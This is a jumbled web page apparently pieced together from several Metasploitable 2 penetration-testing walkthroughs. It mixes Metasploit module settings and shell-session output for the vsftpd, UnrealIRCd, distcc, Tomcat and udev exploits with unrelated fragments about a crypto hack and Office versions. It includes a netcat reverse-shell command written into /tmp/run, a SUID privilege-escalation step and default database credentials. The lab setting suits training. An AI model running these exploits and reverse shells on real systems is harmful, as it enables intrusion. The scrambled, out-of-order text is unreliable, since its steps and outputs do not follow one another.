RPORT 5432 yes The target port BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.". Payload options (java/meterpreter/reverse_tcp): Id Name The-e flag is intended to indicate exports: Oh, how sweet! -- ---- Next, place some payload into /tmp/run because the exploit will execute that. Unlike other vulnerable virtual machines, Metasploitable focuses on vulnerabilities at the operating system and network services layer instead of custom, vulnerable . The Mutillidae web application (NOWASP (Mutillidae)) contains all of the vulnerabilities from the OWASP Top Ten plus a number of other vulnerabilities such as HTML-5 web storage, forms caching, and click-jacking. Name Current Setting Required Description PASSWORD no The Password for the specified username Essentially thistests whether the root account has a weak SSH key, checking each key in the directory where you have stored the keys. [*] Writing to socket B First, whats Metasploit? -- ---- RHOST => 192.168.127.154 ---- --------------- -------- ----------- [*] Reading from sockets USERPASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_userpass.txt no File containing (space-seperated) users and passwords, one pair per line However, we figured out that we could use Metasploit against one of them in order to get a shell, so were going to detail that here. Part 2 - Network Scanning. USERNAME => tomcat DATABASE template1 yes The database to authenticate against The web server starts automatically when Metasploitable 2 is booted. msf exploit(usermap_script) > show options 0 Automatic Keywords vulnerabilities, penetration testing, Metasploit, Metasploitable 2, Metasploitable 3, pen-testing, exploits, Nmap, and Kali Linux Introduction Metasploitable 3 is an intentionally vulnerable Windows Server 2008R2 server, and it is a great way to learn about exploiting windows operating systems using Metasploit. The SwapX project on BNB Chain suffered a hacking attack on February 27, 2023. Version 2 of this virtual machine is available for download and ships with even more vulnerabilities than the original image. Tutorials on using Mutillidae are available at the webpwnized YouTube Channel. payload => cmd/unix/reverse [*] Command: echo qcHh6jsH8rZghWdi; Therefore, well stop here. This method is used to exploit VNC software hosted on Linux or Unix or Windows Operating Systems with authentication vulnerability. USERNAME => tomcat To access official Ubuntu documentation, please visit: Lets proceed with our exploitation. msf auxiliary(telnet_version) > show options Were going to use this exploit: udev before 1.4.1 does not validate if NETLINK message comes from the kernel space, allowing local users to obtain privileges by sending a NETLINK message from user space. LHOST => 192.168.127.159 You can do so by following the path: Applications Exploitation Tools Metasploit. RHOST yes The target address This document will continue to expand over time as many of the less obvious flaws with this platform are detailed. Meterpreter sessions will autodetect Step 4: Display Database Version. [*] Writing to socket B Under the Module Options section of the above exploit there were the following commands to run: Note: The show targets & set TARGET steps are not necessary as 0 is the default. The command will return the configuration for eth0. Exploit target: In addition to these system-level accounts, the PostgreSQL service can be accessed with username postgres and password postgres, while the MySQL service is open to username root with an empty password. On Metasploitable 2, there are many other vulnerabilities open to exploit. 5.port 1524 (Ingres database backdoor ) The vulnerability being demonstrated here is how a backdoor was incorporated into the source code of a commonly used package, namely vsftp. . [*] Accepted the second client connection msf exploit(drb_remote_codeexec) > show options Metasploitable 2 Among security researchers, Metasploitable 2 is the most commonly exploited online application. So, lets set it up: mkdir /metafs # this will be the mount point, mount -t nfs 192.168.127.154:/ /metafs -o nolock # mount the remote shared directory as nfs and disable file locking. VERBOSE false no Enable verbose output For hints & tips on exploiting the vulnerabilities there are also View Source and View Help buttons. [*] Matching :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname [+] Backdoor service has been spawned, handling You can edit any TWiki page. The Rapid7 Metasploit community has developed a machine with a range of vulnerabilities. whoami Name Current Setting Required Description msf exploit(java_rmi_server) > set payload java/meterpreter/reverse_tcp ---- --------------- -------- ----------- Id Name What is Metasploit This is a tool developed by Rapid7 for the purpose of developing and executing exploits against vulnerable systems. root msf auxiliary(smb_version) > set RHOSTS 192.168.127.154 msf exploit(unreal_ircd_3281_backdoor) > exploit Learn Ethical Hacking and Penetration Testing Online. Same as credits.php. msf exploit(postgres_payload) > set LHOST 192.168.127.159 nc -vv -l -p 5555 < 8572, sk Eth Pid Groups Rmem Wmem Dump Locks Set Version: Ubuntu, and to continue, click the Next button. Metasploit Discover target information, find vulnerabilities, attack and validate weaknesses, and collect evidence. For this walk-though I use the Metasploit framework to attempt to perform a penetration testing exercise on Metasploitable 2. TWiki is a flexible, powerful, secure, yet simple web-based collaboration platform. Both operating systems will be running as VMs within VirtualBox. [*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:35889) at 2021-02-06 16:51:56 +0300 From our attack system (Linux, preferably something like Kali Linux), we will identify the open network services on this virtual machine using the Nmap Security Scanner. ---- --------------- -------- ----------- The risk of the host failing or to become infected is intensely high. msf exploit(distcc_exec) > set payload cmd/unix/reverse An exploit executes a sequence of commands that target a specific vulnerability found in a system or application to provide the attacker with access to the system. Proxies no Use a proxy chain RHOST yes The target address Find what else is out there and learn how it can be exploited. [*] A is input msf exploit(drb_remote_codeexec) > set LHOST 192.168.127.159 Lets begin by pulling up the Mutillidae homepage: Notice that the Security Level is set to 0, Hints is also set to 0, and that the user is not Logged In. The backdoor was quickly identified and removed, but not before quite a few people downloaded it. Step 1:Type the Virtual Machine name (Metasploitable-2) and set the Type: Linux. Perform a ping of IP address 127.0.0.1 three times. S /tmp/run Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux, msf > use auxiliary/scanner/telnet/telnet_version URI => druby://192.168.127.154:8787 Vulnerable Products: Microsoft Office 2007 SP3/2010 SP2/2013 SP1/2016, Vista SP2, Server 2008 SP2, Windows 7 SP1, Windows 8.1. Oracle is a registered trademark of Oracle Corporation and/or its, affiliates. Do you have any feedback on the above examples or a resolution to our TWiki History problem? The -Pn flag prevents host discovery pings and just assumes the host is up. I am new to penetration testing . msf auxiliary(postgres_login) > show options Exploit target: WritableDir /tmp yes A directory where we can write files (must not be mounted noexec) [*] A is input [*] Writing payload executable (274 bytes) to /tmp/rzIcSWveTb ---- --------------- -------- ----------- 0 Automatic Pixel format: UnrealIRCD 3.2.8.1 Backdoor Command Execution. 0 Automatic 0 Automatic Target [*] Writing to socket B Lets start by using nmap to scan the target port. msf exploit(twiki_history) > show options The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. RHOST 192.168.127.154 yes The target address You can view CVE vulnerability details, exploits, references, metasploit modules, full list of vulnerable products and cvss score reports and vulnerability trends over time (e.g. This setup included an attacker using Kali Linux and a target using the Linux-based Metasploitable. Step 6: On the left menu, click the Network button and change your network adapter settings as follows: Advanced Select: Promiscuous Mode as Allow All Attached, Network Setting: Enable Network Adapter and select Ethernet or Wireless. Payload options (cmd/unix/reverse): [*] Attempting to autodetect netlink pid Metasploit is a free open-source tool for developing and executing exploit code. Exploit target: msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat Name Current Setting Required Description RHOST yes The target address msf exploit(usermap_script) > set RPORT 445 echo 'nc -e /bin/bash 192.168.127.159 5555' >> /tmp/run, nc: connect to 192.168.127.159 5555 from 192.168.127.154 (192.168.127.154) 35539 [35539] Id Name msf exploit(tomcat_mgr_deploy) > set RPORT 8180 =================== URI yes The dRuby URI of the target host (druby://host:port) Set the SUID bit using the following command: chmod 4755 rootme. This must be an address on the local machine or 0.0.0.0 Module options (exploit/unix/misc/distcc_exec): RPORT 21 yes The target port NetlinkPID no Usually udevd pid-1. [*] Accepted the first client connection ---- --------------- -------- ----------- msf exploit(usermap_script) > set LHOST 192.168.127.159 Long list the files with attributes in the local folder. RHOST => 192.168.127.154 DATABASE template1 yes The database to authenticate against Copyright 2023 HackingLoops All Rights Reserved, nmap -p1-65535 -A 192.168.127.154 Exploit target: RPORT => 445 For the final challenge you'll be conducting a short and simple vulnerability assessment of the Metasploitable 2 system, by launching your own vulnerability scans using Nessus, and reporting on the vulnerabilities and flaws that are discovered. https://information.rapid7.com/download-metasploitable-2017.html. USERNAME postgres no A specific username to authenticate as If a username is sent that ends in the sequence :) [ a happy face ], the backdoored version will open a listening shell on port 6200. DB_ALL_CREDS false no Try each user/password couple stored in the current database Metasploitable is an intentionally vulnerable Linux virtual machine that can be used to conduct security training, test security tools, and practice common penetration testing techniques. ---- --------------- -------- ----------- -- ---- [*] Accepted the first client connection Alternatively, you can also use VMWare Workstation or VMWare Server. msf exploit(distcc_exec) > show options Id Name [*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:46653) at 2021-02-06 22:23:23 +0300 [*] Uploading 13833 bytes as RuoE02Uo7DeSsaVp7nmb79cq.war Learn ethical hacking, penetration testing, cyber security, best security and web penetration testing techniques from best ethical hackers in security field. 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